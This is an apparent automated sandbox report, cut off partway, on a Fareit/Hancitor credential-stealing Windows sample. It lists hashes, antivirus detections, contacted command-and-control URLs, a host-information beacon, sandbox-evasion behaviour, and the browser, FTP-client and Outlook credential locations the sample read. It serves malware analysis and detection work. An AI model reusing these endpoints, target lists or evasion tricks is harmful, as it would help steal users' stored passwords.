Exes_9a69378f63c39e0f3a148dd3767fa807_exe_2019-07-02_00_30.json

[*] MalFamily: "Fareit"

[*] MalScore: 10.0

[*] File Name: "Exes_9a69378f63c39e0f3a148dd3767fa807.exe"
[*] File Size: 98816
[*] File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
[*] SHA256: "463714fb98a2d18aaa5b6b29782822b4971034de9ea9da06708974cabcc999aa"
[*] MD5: "9a69378f63c39e0f3a148dd3767fa807"
[*] SHA1: "85fdc5dafe3dbd3943afb07028eb183980a1f410"
[*] SHA512: "621f8a96096250a8c15f419e34d7645323db2ae535cb12dca1742ac72107e227b55ce1f6b06e02ae3011a21cce3e2d77a84b499c8390ec8f0bb5f488e7f34cb5"
[*] CRC32: "7439B201"
[*] SSDEEP: "1536:n3JMPDRRJbkohUOyJZxCixXF/zSmEmO8BmAjE5SyRKSaB+ugNDr1XSk:nZMPlrbTANvxXF/tO8oA45iXgNDr1XSk"

[*] Process Execution: [
    "Exes_9a69378f63c39e0f3a148dd3767fa807.exe",
    "cmd.exe",
    "BN525D.tmp",
    "services.exe",
    "taskhost.exe",
    "svchost.exe",
    "WerFault.exe",
    "svchost.exe"
]

[*] Signatures Detected: [
    {
        "Description": "At least one process apparently crashed during execution",
        "Details": []
    },
    {
        "Description": "Creates RWX memory",
        "Details": []
    },
    {
        "Description": "A process attempted to delay the analysis task.",
        "Details": [
            {
                "Process": "Exes_9a69378f63c39e0f3a148dd3767fa807.exe tried to sleep 1500 seconds, actually delayed analysis time by 0 seconds"
            }
        ]
    },
    {
        "Description": "Drops a binary and executes it",
        "Details": [
            {
                "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\BN525D.tmp"
            }
        ]
    },
    {
        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details": [
            {
                "post_no_referer": "HTTP traffic contains a POST request with no referer header"
            },
            {
                "http_version_old": "HTTP traffic uses version 1.0"
            },
            {
                "suspicious_request": "http://totharduron.com/4/forum.php"
            },
            {
                "suspicious_request": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/1"
            },
            {
                "suspicious_request": "http://totharduron.com/mlu/forum.php"
            },
            {
                "suspicious_request": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/3"
            }
        ]
    },
    {
        "Description": "Performs some HTTP requests",
        "Details": [
            {
                "url": "http://api.ipify.org/"
            },
            {
                "url": "http://totharduron.com/4/forum.php"
            },
            {
                "url": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/1"
            },
            {
                "url": "http://totharduron.com/mlu/forum.php"
            },
            {
                "url": "http://elcarrocafeny.com/wp-content/plugins/wp-symetrio/3"
            }
        ]
    },
    {
        "Description": "Looks up the external IP address",
        "Details": [
            {
                "domain": "api.ipify.org"
            }
        ]
    },
    {
        "Description": "Crashed cuckoomon during analysis.  Report this error to the Github repo.",
        "Details": [
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x1967e in cuckoomon itself while accessing 0x32d0c4 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x19681 in cuckoomon itself while accessing 0x0 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x19681 in cuckoomon itself while accessing 0x32d0c8 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x19684 in cuckoomon itself while accessing 0x0 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x19684 in cuckoomon itself while accessing 0x32d0c0 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x19687 in cuckoomon itself while accessing 0x0 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x19687 in cuckoomon itself while accessing 0x32d0bc from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x19689 in cuckoomon itself while accessing 0x0 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x19699 in cuckoomon itself while accessing 0x32d0cc from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x1969b in cuckoomon itself while accessing 0x0 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x1969f in cuckoomon itself while accessing 0x32d0d0 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x196a2 in cuckoomon itself while accessing 0x0 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x196aa in cuckoomon itself while accessing 0x32d0d4 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x196ad in cuckoomon itself while accessing 0x0 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x196bd in cuckoomon itself while accessing 0x32d0d8 from hook RtlDispatchException"
            },
            {
                "pid": 2656
            },
            {
                "message": "Exception reported at offset 0x196c0 in cuckoomon itself while accessing 0x0 from hook RtlDispatchException"
            }
        ]
    },
    {
        "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
        "Details": [
            {
                "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 12895163 times"
            }
        ]
    },
    {
        "Description": "Steals private information from local Internet browsers",
        "Details": [
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
            }
        ]
    },
    {
        "Description": "A process sent information about the computer to a remote location.",
        "Details": [
            {
                "Beacon": "Exes_9a69378f63c39e0f3a148dd3767fa807.exe: GUID=13962711393074855960&BUILD=01_07_834832&INFO=Host @ Host\\user&IP=0.0.0.0&TYPE=1&WIN=6.1(x64)"
            }
        ]
    },
    {
        "Description": "Collects information about installed applications",
        "Details": [
            {
                "Program": "Google Update Helper"
            },
            {
                "Program": "Microsoft Excel MUI  2013"
            },
            {
                "Program": "Microsoft Outlook MUI  2013"
            },
            {
            },
            {
                "Program": "Google Chrome"
            },
            {
                "Program": "Adobe Flash Player 29 NPAPI"
            },
            {
                "Program": "Adobe Flash Player 29 ActiveX"
            },
            {
                "Program": "Microsoft DCF MUI  2013"
            },
            {
                "Program": "Microsoft Access MUI  2013"
            },
            {
                "Program": "Microsoft Office Proofing Tools 2013 - English"
            },
            {
                "Program": "Adobe Acrobat Reader DC"
            },
            {
                "Program": "Microsoft Office Proofing Tools 2013 - Espa\\xef\\xbf\\xb1ol"
            },
            {
                "Program": "Microsoft Publisher MUI  2013"
            },
            {
                "Program": "Outils de v\\xef\\xbf\\xa9rification linguistique 2013 de Microsoft Office\\xef\\xbe\\xa0- Fran\\xef\\xbf\\xa7ais"
            },
            {
                "Program": "Microsoft Office Shared MUI  2013"
            },
            {
                "Program": "Microsoft Office OSM MUI  2013"
            },
            {
                "Program": "Microsoft InfoPath MUI  2013"
            },
            {
                "Program": "Microsoft Office Shared Setup Metadata MUI  2013"
            },
            {
                "Program": "Microsoft Word MUI  2013"
            },
            {
                "Program": "Microsoft Groove MUI  2013"
            },
            {
            },
            {
                "Program": "Microsoft Access Setup Metadata MUI  2013"
            },
            {
                "Program": "Microsoft Office OSM UX MUI  2013"
            },
            {
                "Program": "Microsoft PowerPoint MUI  2013"
            },
            {
                "Program": "Microsoft Office Professional Plus 2013"
            },
            {
                "Program": "Adobe Refresh Manager"
            },
            {
                "Program": "Microsoft Office Proofing  2013"
            },
            {
                "Program": "Microsoft Lync MUI  2013"
            },
            {
            },
            {
                "Program": "Microsoft OneNote MUI  2013"
            }
        ]
    },
    {
        "Description": "File has been identified by 19 Antiviruses on VirusTotal as malicious",
        "Details": [
            {
                "FireEye": "Generic.mg.9a69378f63c39e0f"
            },
            {
                "McAfee": "Artemis!9A69378F63C3"
            },
            {
                "Invincea": "heuristic"
            },
            {
                "Avast": "Win32:Malware-gen"
            },
            {
                "Kaspersky": "UDS:DangerousObject.Multi.Generic"
            },
            {
                "Paloalto": "generic.ml"
            },
            {
                "Endgame": "malicious (high confidence)"
            },
            {
                "McAfee-GW-Edition": "Artemis!Trojan"
            },
            {
                "Webroot": "W32.Rogue.Gen"
            },
            {
                "Microsoft": "Trojan:Win32/Casur.A!cl"
            },
            {
                "AegisLab": "Trojan.Win32.Generic.4!c"
            },
            {
                "ZoneAlarm": "UDS:DangerousObject.Multi.Generic"
            },
            {
                "Acronis": "suspicious"
            },
            {
                "VBA32": "BScope.Trojan.Chanitor"
            },
            {
                "ESET-NOD32": "Win32/TrojanDownloader.Hancitor.L"
            },
            {
                "Rising": "Downloader.Hancitor!8.A19 (CLOUD)"
            },
            {
                "AVG": "Win32:Malware-gen"
            },
            {
                "CrowdStrike": "win/malicious_confidence_60% (W)"
            },
            {
                "Qihoo-360": "HEUR/QVM20.1.3D33.Malware.Gen"
            }
        ]
    },
    {
        "Description": "Checks the system manufacturer, likely for anti-virtualization",
        "Details": []
    },
    {
        "Description": "Harvests credentials from local FTP client softwares",
        "Details": [
            {
                "file": "C:\\Program Files (x86)\\CuteFTP\\sm.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\CuteFTP\\sm.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\CuteFTP\\sm.dat"
            },
            {
                "file": "C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat"
            },
            {
                "file": "C:\\ProgramData\\CuteFTP\\sm.dat"
            },
            {
                "file": "C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\FlashFXP\\4\\Sites.dat"
            },
            {
                "file": "C:\\ProgramData\\FlashFXP\\3\\Sites.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\FlashFXP\\3\\Sites.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\FlashFXP\\4\\Sites.dat"
            },
            {
                "file": "C:\\ProgramData\\FlashFXP\\4\\Sites.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\FlashFXP\\3\\Sites.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\FlashFXP\\3\\Quick.dat"
            },
            {
                "file": "C:\\ProgramData\\FlashFXP\\4\\Quick.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\FlashFXP\\4\\Quick.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\FlashFXP\\4\\Quick.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\FlashFXP\\3\\Quick.dat"
            },
            {
                "file": "C:\\ProgramData\\FlashFXP\\3\\Quick.dat"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\FileZilla\\sitemanager.xml"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\sitemanager.xml"
            },
            {
                "file": "C:\\ProgramData\\FileZilla\\sitemanager.xml"
            },
            {
                "file": "C:\\ProgramData\\FileZilla\\recentservers.xml"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\FileZilla\\recentservers.xml"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\recentservers.xml"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\VanDyke\\Config\\Sessions\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\VanDyke\\Config\\Sessions\\*.*"
            },
            {
                "file": "C:\\ProgramData\\VanDyke\\Config\\Sessions\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\SmartFTP\\*.*"
            },
            {
                "file": "C:\\Users\\user\\AppData\\Local\\SmartFTP\\*.*"
            },
            {
                "file": "C:\\ProgramData\\SmartFTP\\*.*"
            },
            {
                "file": "C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP\\*.*"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 7 Professional\\QCToolbar"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 9\\QCToolbar"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 8 Professional\\QCToolbar"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 8 Home\\QCToolbar"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 6 Professional\\QCToolbar"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 6 Home\\QCToolbar"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\GlobalSCAPE\\CuteFTP 7 Home\\QCToolbar"
            },
            {
                "key": "HKEY_LOCAL_MACHINE\\Software\\Ghisler\\Windows Commander"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Ghisler\\Windows Commander"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Ghisler\\Total Commander"
            },
            {
                "key": "HKEY_LOCAL_MACHINE\\Software\\Ghisler\\Total Commander"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\BPFTP\\Bullet Proof FTP\\Options"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\BPFTP\\Bullet Proof FTP\\Main"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\FileZilla"
            },
            {
                "key": "HKEY_LOCAL_MACHINE\\Software\\FileZilla"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\FileZilla Client"
            },
            {
                "key": "HKEY_LOCAL_MACHINE\\Software\\FileZilla Client"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\FTPWare\\COREFTP\\Sites"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\BulletProof Software\\BulletProof FTP Client\\Main"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\BulletProof Software\\BulletProof FTP Client\\Options"
            }
        ]
    },
    {
        "Description": "Harvests information related to installed mail clients",
        "Details": [
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Port"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Password"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP User Name"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Password2"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail Server"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP Password"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Port"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail Password2"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP Server URL"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP User"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Password2"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail Password2"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP Password"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 Server"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Email Address"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Server"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Port"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Port"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP User"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Password2"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Password"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Password"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Port"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\Email"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Password"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail User Name"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Server"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Email Address"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP User Name"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP User Name"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Password"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP User Name"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP User"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 User"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP User"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\POP3 User Name"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Server"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Password"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP User"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTPMail Server"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Server"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Password2"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Password2"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 User"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Password2"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Server"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Server"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Email Address"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Password2"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\Email"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Password2"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Email Address"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP User Name"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 User Name"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP Server URL"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Password"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail User Name"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Port"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP User Name"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604"
            },
            {
                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1"
            },
            {
